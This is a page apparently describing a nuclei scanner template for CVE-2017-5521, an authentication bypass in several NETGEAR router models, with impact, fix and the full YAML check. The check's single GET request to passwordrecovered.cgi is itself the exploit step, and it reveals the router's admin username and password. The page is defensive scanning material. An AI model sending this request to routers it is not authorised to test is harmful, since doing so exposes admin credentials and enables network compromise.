CVE-2017-5521· netgear / r6200 firmware· CWE-200
NETGEAR Routers - Authentication Bypass
Exploited in the wild. Listed by CISA on 2022-09-08; known to be used by ransomware.
NETGEAR R8500, R8300, R7000, R6400, R7300, R7100LG, R6300v2, WNDR3400v3, WNR3500Lv2, R6250, R6700, R6900, and R8000 devices are susceptible to authentication bypass via simple crafted requests to the web management server.
Impact
Successful exploitation of this vulnerability can lead to unauthorized configuration changes, network compromise, and potential exposure of sensitive information.
Fix
Apply the latest firmware update provided by NETGEAR to mitigate this vulnerability.
How to confirm it
Send: GET {{BaseURL}}/passwordrecovered.cgi?id={{rand_base(5)}}
Positive when: matches /right">Router\s*Admin\s*Username</ AND status 200Run it with nuclei: nuclei -id CVE-2017-5521 -u <target>. This check is not marked as verified by its authors.
The full check
id: CVE-2017-5521
info:
name: NETGEAR Routers - Authentication Bypass
author: princechaddha
severity: high
description: |
NETGEAR R8500, R8300, R7000, R6400, R7300, R7100LG, R6300v2, WNDR3400v3, WNR3500Lv2, R6250, R6700, R6900, and R8000 devices are susceptible to authentication bypass via simple crafted requests to the web management server.
impact: |
Successful exploitation of this vulnerability can lead to unauthorized configuration changes, network compromise, and potential exposure of sensitive information.
remediation: |
Apply the latest firmware update provided by NETGEAR to mitigate this vulnerability.
reference:
- https://www.trustwave.com/en-us/resources/blogs/spiderlabs-blog/cve-2017-5521-bypassing-authentication-on-netgear-routers/
- http://kb.netgear.com/30632/Web-GUI-Password-Recovery-and-Exposure-Security-Vulnerability
- https://nvd.nist.gov/vuln/detail/CVE-2017-5521
- https://www.exploit-db.com/exploits/41205/
- https://github.com/Ostorlab/known_exploited_vulnerbilities_detectors
classification:
cvss-metrics: CVSS:3.0/AV:N/AC:H/PR:N/UI:N/S:U/C:H/I:H/A:H
cvss-score: 8.1
cve-id: CVE-2017-5521
cwe-id: CWE-200
epss-score: 0.89353
epss-percentile: 0.99785
cpe: cpe:2.3:o:netgear:r6200_firmware:1.0.1.56_1.0.43:*:*:*:*:*:*:*
metadata:
max-request: 1
vendor: netgear
product: r6200_firmware
tags: cve,cve2017,auth-bypass,netgear,router,kev,vkev,vuln
http:
- method: GET
path:
- "{{BaseURL}}/passwordrecovered.cgi?id={{rand_base(5)}}"
matchers-condition: and
matchers:
- type: regex
part: body
regex:
- "right\">Router\\s*Admin\\s*Username<"
- "right\">Router\\s*Admin\\s*Password<"
condition: and
- type: status
status:
- 200References
- https://www.trustwave.com/en-us/resources/blogs/spiderlabs-blog/cve-2017-5521-bypassing-authentication-on-netgear-routers/
- http://kb.netgear.com/30632/Web-GUI-Password-Recovery-and-Exposure-Security-Vulnerability
- https://nvd.nist.gov/vuln/detail/CVE-2017-5521
- https://www.exploit-db.com/exploits/41205/
- https://github.com/Ostorlab/known_exploited_vulnerbilities_detectors
Use this check only on systems you are authorised to test. Where the data comes from